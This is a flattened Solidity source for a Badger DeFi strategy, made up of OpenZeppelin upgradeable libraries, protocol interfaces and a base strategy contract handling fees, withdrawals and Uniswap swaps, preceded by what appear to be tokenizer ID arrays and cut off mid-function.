[ 1, 38, 9835, 30174, 55, 1165, 30174, 8176, 30174, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 605, 24383, 3731, 83, 275, 697, 54, 13734, 353, 1772, 16, 467, 654, 39, 3462, 16, 14223, 6914, 288, 203, 377, 203, 565, 1450, 14060, 10477, 364, 2254, 5034, 31, 203, 203, 565, 533, 3238, 5381, 389, 529, 273, 315, 38, 24383, 4360, 83, 275, 697, 534, 13734, 14432, 203, 565, 533, 3238, 5381, 389, 7175, 273, 315, 38, 2090, 61, 8939, 50, 12507, 14432, 203, 565, 2254, 28, 3238, 5381, 389, 31734, 273, 2468, 31, 203, 203, 565, 2874, 12, 2867, 516, 2254, 5034, 13, 3238, 389, 86, 5460, 329, 31, 203, 565, 2874, 12, 2867, 516, 2254, 5034, 13, 3238, 389, 88, 5460, 329, 31, 203, 565, 2874, 12, 2867, 516, 2874, 12, 2867, 516, 2254, 5034, 3719, 3238, 389, 5965, 6872, 31, 203, 565, 2874, 12, 2867, 516, 1426, 13, 3238, 389, 291, 16461, 1265, 14667, 31, 203, 565, 2254, 5034, 3238, 5381, 4552, 273, 4871, 11890, 5034, 12, 20, 1769, 203, 565, 2254, 5034, 3238, 5381, 389, 88, 5269, 273, 2130, 12648, 2787, 380, 1728, 636, 29, 31, 203, 565, 2254, 5034, 3238, 389, 86, 5269, 273, 261, 6694, 300, 261, 6694, 738, 389, 88, 5269, 10019, 203, 565, 2254, 5034, 3238, 389, 88, 14667, 5269, 31, 203, 377, 203, 565, 2254, 5034, 3238, 389, 12311, 14667, 1398, 38, 9835, 273, 404, 31, 203, 565, 2254, 5034, 3238, 389, 8066, 14667, 1398, 38, 9835, 273, 1666, 31, 203, 377, 203, 565, 2254, 5034, 3238, 389, 12311, 14667, 1398, 55, 1165, 273, 404, 31, 203, 565, 2254, 5034, 3238, 389, 2 ]
// SPDX-License-Identifier: MIT pragma solidity 0.6.12; pragma experimental ABIEncoderV2; // Part: AddressUpgradeable /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require( address(this).balance >= amount, "Address: insufficient balance" ); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{value: amount}(""); require( success, "Address: unable to send value, recipient may have reverted" ); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue( target, data, value, "Address: low-level call with value failed" ); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require( address(this).balance >= value, "Address: insufficient balance for call" ); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue( address target, bytes memory data, uint256 weiValue, string memory errorMessage ) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{value: weiValue}(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // Part: ICVXBribes interface ICVXBribes { function getReward(address _account, address _token) external; function getRewards(address _account, address[] calldata _tokens) external; } // Part: IController interface IController { function withdraw(address, uint256) external; function strategies(address) external view returns (address); function balanceOf(address) external view returns (uint256); function earn(address, uint256) external; function want(address) external view returns (address); function rewards() external view returns (address); function vaults(address) external view returns (address); } // Part: ICvxLocker interface ICvxLocker { function maximumBoostPayment() external view returns (uint256); function lock( address _account, uint256 _amount, uint256 _spendRatio ) external; function getReward(address _account, bool _stake) external; //BOOSTED balance of an account which only includes properly locked tokens as of the most recent eligible epoch function balanceOf(address _user) external view returns (uint256 amount); // total token balance of an account, including unlocked but not withdrawn tokens function lockedBalanceOf(address _user) external view returns (uint256 amount); // Withdraw/relock all currently locked tokens where the unlock time has passed function processExpiredLocks( bool _relock, uint256 _spendRatio, address _withdrawTo ) external; // Withdraw/relock all currently locked tokens where the unlock time has passed function processExpiredLocks(bool _relock) external; } // Part: IDelegateRegistry ///@dev Snapshot Delegate registry so we can delegate voting to XYZ interface IDelegateRegistry { function setDelegate(bytes32 id, address delegate) external; function delegation(address, bytes32) external returns (address); } // Part: IERC20Upgradeable /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval( address indexed owner, address indexed spender, uint256 value ); } // Part: ISettV4 interface ISettV4 { function deposit(uint256 _amount) external; function depositFor(address _recipient, uint256 _amount) external; function withdraw(uint256 _amount) external; function balance() external view returns (uint256); function getPricePerFullShare() external view returns (uint256); function balanceOf(address) external view returns (uint256); } // Part: IUniswapRouterV2 interface IUniswapRouterV2 { function factory() external view returns (address); function addLiquidity( address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns ( uint256 amountA, uint256 amountB, uint256 liquidity ); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); function removeLiquidity( address tokenA, address tokenB, uint256 liquidity, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline ) external returns (uint256 amountA, uint256 amountB); function getAmountsOut(uint256 amountIn, address[] calldata path) external view returns (uint256[] memory amounts); function getAmountsIn(uint256 amountOut, address[] calldata path) external view returns (uint256[] memory amounts); function swapETHForExactTokens( uint256 amountOut, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapExactETHForTokens( uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external payable returns (uint256[] memory amounts); function swapExactTokensForETH( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactETH( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapExactTokensForTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); function swapTokensForExactTokens( uint256 amountOut, uint256 amountInMax, address[] calldata path, address to, uint256 deadline ) external returns (uint256[] memory amounts); } // Part: IVotiumBribes interface IVotiumBribes { struct claimParam { address token; uint256 index; uint256 amount; bytes32[] merkleProof; } function claimMulti(address account, claimParam[] calldata claims) external; function claim(address token, uint256 index, address account, uint256 amount, bytes32[] calldata merkleProof) external; } // Part: Initializable /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {UpgradeableProxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Modifier to protect an initializer function from being invoked twice. */ modifier initializer() { require( _initializing || _isConstructor() || !_initialized, "Initializable: contract is already initialized" ); bool isTopLevelCall = !_initializing; if (isTopLevelCall) { _initializing = true; _initialized = true; } _; if (isTopLevelCall) { _initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function _isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; // solhint-disable-next-line no-inline-assembly assembly { cs := extcodesize(self) } return cs == 0; } } // Part: MathUpgradeable /** * @dev Standard math utilities missing in the Solidity language. */ library MathUpgradeable { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + (((a % 2) + (b % 2)) / 2); } } // Part: SafeMathUpgradeable /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMathUpgradeable { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Part: ContextUpgradeable /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer {} function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // Part: SafeERC20Upgradeable /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using SafeMathUpgradeable for uint256; using AddressUpgradeable for address; function safeTransfer( IERC20Upgradeable token, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transfer.selector, to, value) ); } function safeTransferFrom( IERC20Upgradeable token, address from, address to, uint256 value ) internal { _callOptionalReturn( token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value) ); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20Upgradeable token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn( token, abi.encodeWithSelector(token.approve.selector, spender, value) ); } function safeIncreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } function safeDecreaseAllowance( IERC20Upgradeable token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender).sub( value, "SafeERC20: decreased allowance below zero" ); _callOptionalReturn( token, abi.encodeWithSelector( token.approve.selector, spender, newAllowance ) ); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20Upgradeable token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall( data, "SafeERC20: low-level call failed" ); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require( abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed" ); } } } // Part: SettAccessControl /* Common base for permissioned roles throughout Sett ecosystem */ contract SettAccessControl is Initializable { address public governance; address public strategist; address public keeper; // ===== MODIFIERS ===== function _onlyGovernance() internal view { require(msg.sender == governance, "onlyGovernance"); } function _onlyGovernanceOrStrategist() internal view { require( msg.sender == strategist || msg.sender == governance, "onlyGovernanceOrStrategist" ); } function _onlyAuthorizedActors() internal view { require( msg.sender == keeper || msg.sender == governance, "onlyAuthorizedActors" ); } // ===== PERMISSIONED ACTIONS ===== /// @notice Change strategist address /// @notice Can only be changed by governance itself function setStrategist(address _strategist) external { _onlyGovernance(); strategist = _strategist; } /// @notice Change keeper address /// @notice Can only be changed by governance itself function setKeeper(address _keeper) external { _onlyGovernance(); keeper = _keeper; } /// @notice Change governance address /// @notice Can only be changed by governance itself function setGovernance(address _governance) public { _onlyGovernance(); governance = _governance; } uint256[50] private __gap; } // Part: PausableUpgradeable /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!_paused, "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(_paused, "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } uint256[49] private __gap; } // Part: BaseStrategy /* ===== Badger Base Strategy ===== Common base class for all Sett strategies Changelog V1.1 - Verify amount unrolled from strategy positions on withdraw() is within a threshold relative to the requested amount as a sanity check - Add version number which is displayed with baseStrategyVersion(). If a strategy does not implement this function, it can be assumed to be 1.0 V1.2 - Remove idle want handling from base withdraw() function. This should be handled as the strategy sees fit in _withdrawSome() */ abstract contract BaseStrategy is PausableUpgradeable, SettAccessControl { using SafeERC20Upgradeable for IERC20Upgradeable; using AddressUpgradeable for address; using SafeMathUpgradeable for uint256; event Withdraw(uint256 amount); event WithdrawAll(uint256 balance); event WithdrawOther(address token, uint256 amount); event SetStrategist(address strategist); event SetGovernance(address governance); event SetController(address controller); event SetWithdrawalFee(uint256 withdrawalFee); event SetPerformanceFeeStrategist(uint256 performanceFeeStrategist); event SetPerformanceFeeGovernance(uint256 performanceFeeGovernance); event Harvest(uint256 harvested, uint256 indexed blockNumber); event Tend(uint256 tended); address public want; // Want: Curve.fi renBTC/wBTC (crvRenWBTC) LP token uint256 public performanceFeeGovernance; uint256 public performanceFeeStrategist; uint256 public withdrawalFee; uint256 public constant MAX_FEE = 10000; address public constant uniswap = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; // Uniswap Dex address public controller; address public guardian; uint256 public withdrawalMaxDeviationThreshold; function __BaseStrategy_init( address _governance, address _strategist, address _controller, address _keeper, address _guardian ) public initializer whenNotPaused { __Pausable_init(); governance = _governance; strategist = _strategist; keeper = _keeper; controller = _controller; guardian = _guardian; withdrawalMaxDeviationThreshold = 50; } // ===== Modifiers ===== function _onlyController() internal view { require(msg.sender == controller, "onlyController"); } function _onlyAuthorizedActorsOrController() internal view { require( msg.sender == keeper || msg.sender == governance || msg.sender == controller, "onlyAuthorizedActorsOrController" ); } function _onlyAuthorizedPausers() internal view { require( msg.sender == guardian || msg.sender == governance, "onlyPausers" ); } /// ===== View Functions ===== function baseStrategyVersion() public view returns (string memory) { return "1.2"; } /// @notice Get the balance of want held idle in the Strategy function balanceOfWant() public view returns (uint256) { return IERC20Upgradeable(want).balanceOf(address(this)); } /// @notice Get the total balance of want realized in the strategy, whether idle or active in Strategy positions. function balanceOf() public view virtual returns (uint256) { return balanceOfWant().add(balanceOfPool()); } function isTendable() public view virtual returns (bool) { return false; } /// ===== Permissioned Actions: Governance ===== function setGuardian(address _guardian) external { _onlyGovernance(); guardian = _guardian; } function setWithdrawalFee(uint256 _withdrawalFee) external { _onlyGovernance(); require( _withdrawalFee <= MAX_FEE, "base-strategy/excessive-withdrawal-fee" ); withdrawalFee = _withdrawalFee; } function setPerformanceFeeStrategist(uint256 _performanceFeeStrategist) external { _onlyGovernance(); require( _performanceFeeStrategist <= MAX_FEE, "base-strategy/excessive-strategist-performance-fee" ); performanceFeeStrategist = _performanceFeeStrategist; } function setPerformanceFeeGovernance(uint256 _performanceFeeGovernance) external { _onlyGovernance(); require( _performanceFeeGovernance <= MAX_FEE, "base-strategy/excessive-governance-performance-fee" ); performanceFeeGovernance = _performanceFeeGovernance; } function setController(address _controller) external { _onlyGovernance(); controller = _controller; } function setWithdrawalMaxDeviationThreshold(uint256 _threshold) external { _onlyGovernance(); require( _threshold <= MAX_FEE, "base-strategy/excessive-max-deviation-threshold" ); withdrawalMaxDeviationThreshold = _threshold; } function deposit() public virtual whenNotPaused { _onlyAuthorizedActorsOrController(); uint256 _want = IERC20Upgradeable(want).balanceOf(address(this)); if (_want > 0) { _deposit(_want); } _postDeposit(); } // ===== Permissioned Actions: Controller ===== /// @notice Controller-only function to Withdraw partial funds, normally used with a vault withdrawal function withdrawAll() external virtual whenNotPaused returns (uint256 balance) { _onlyController(); _withdrawAll(); _transferToVault(IERC20Upgradeable(want).balanceOf(address(this))); } /// @notice Withdraw partial funds from the strategy, unrolling from strategy positions as necessary /// @notice Processes withdrawal fee if present /// @dev If it fails to recover sufficient funds (defined by withdrawalMaxDeviationThreshold), the withdrawal should fail so that this unexpected behavior can be investigated function withdraw(uint256 _amount) external virtual whenNotPaused { _onlyController(); // Withdraw from strategy positions, typically taking from any idle want first. _withdrawSome(_amount); uint256 _postWithdraw = IERC20Upgradeable(want).balanceOf(address(this)); // Sanity check: Ensure we were able to retrieve sufficent want from strategy positions // If we end up with less than the amount requested, make sure it does not deviate beyond a maximum threshold if (_postWithdraw < _amount) { uint256 diff = _diff(_amount, _postWithdraw); // Require that difference between expected and actual values is less than the deviation threshold percentage require( diff <= _amount.mul(withdrawalMaxDeviationThreshold).div(MAX_FEE), "base-strategy/withdraw-exceed-max-deviation-threshold" ); } // Return the amount actually withdrawn if less than amount requested uint256 _toWithdraw = MathUpgradeable.min(_postWithdraw, _amount); // Process withdrawal fee uint256 _fee = _processWithdrawalFee(_toWithdraw); // Transfer remaining to Vault to handle withdrawal _transferToVault(_toWithdraw.sub(_fee)); } // NOTE: must exclude any tokens used in the yield // Controller role - withdraw should return to Controller function withdrawOther(address _asset) external virtual whenNotPaused returns (uint256 balance) { _onlyController(); _onlyNotProtectedTokens(_asset); balance = IERC20Upgradeable(_asset).balanceOf(address(this)); IERC20Upgradeable(_asset).safeTransfer(controller, balance); } /// ===== Permissioned Actions: Authoized Contract Pausers ===== function pause() external { _onlyAuthorizedPausers(); _pause(); } function unpause() external { _onlyGovernance(); _unpause(); } /// ===== Internal Helper Functions ===== /// @notice If withdrawal fee is active, take the appropriate amount from the given value and transfer to rewards recipient /// @return The withdrawal fee that was taken function _processWithdrawalFee(uint256 _amount) internal returns (uint256) { if (withdrawalFee == 0) { return 0; } uint256 fee = _amount.mul(withdrawalFee).div(MAX_FEE); IERC20Upgradeable(want).safeTransfer( IController(controller).rewards(), fee ); return fee; } /// @dev Helper function to process an arbitrary fee /// @dev If the fee is active, transfers a given portion in basis points of the specified value to the recipient /// @return The fee that was taken function _processFee( address token, uint256 amount, uint256 feeBps, address recipient ) internal returns (uint256) { if (feeBps == 0) { return 0; } uint256 fee = amount.mul(feeBps).div(MAX_FEE); IERC20Upgradeable(token).safeTransfer(recipient, fee); return fee; } /// @dev Reset approval and approve exact amount function _safeApproveHelper( address token, address recipient, uint256 amount ) internal { IERC20Upgradeable(token).safeApprove(recipient, 0); IERC20Upgradeable(token).safeApprove(recipient, amount); } function _transferToVault(uint256 _amount) internal { address _vault = IController(controller).vaults(address(want)); require(_vault != address(0), "!vault"); // additional protection so we don't burn the funds IERC20Upgradeable(want).safeTransfer(_vault, _amount); } /// @notice Swap specified balance of given token on Uniswap with given path function _swap( address startToken, uint256 balance, address[] memory path ) internal { _safeApproveHelper(startToken, uniswap, balance); IUniswapRouterV2(uniswap).swapExactTokensForTokens( balance, 0, path, address(this), now ); } function _swapEthIn(uint256 balance, address[] memory path) internal { IUniswapRouterV2(uniswap).swapExactETHForTokens{value: balance}( 0, path, address(this), now ); } function _swapEthOut( address startToken, uint256 balance, address[] memory path ) internal { _safeApproveHelper(startToken, uniswap, balance); 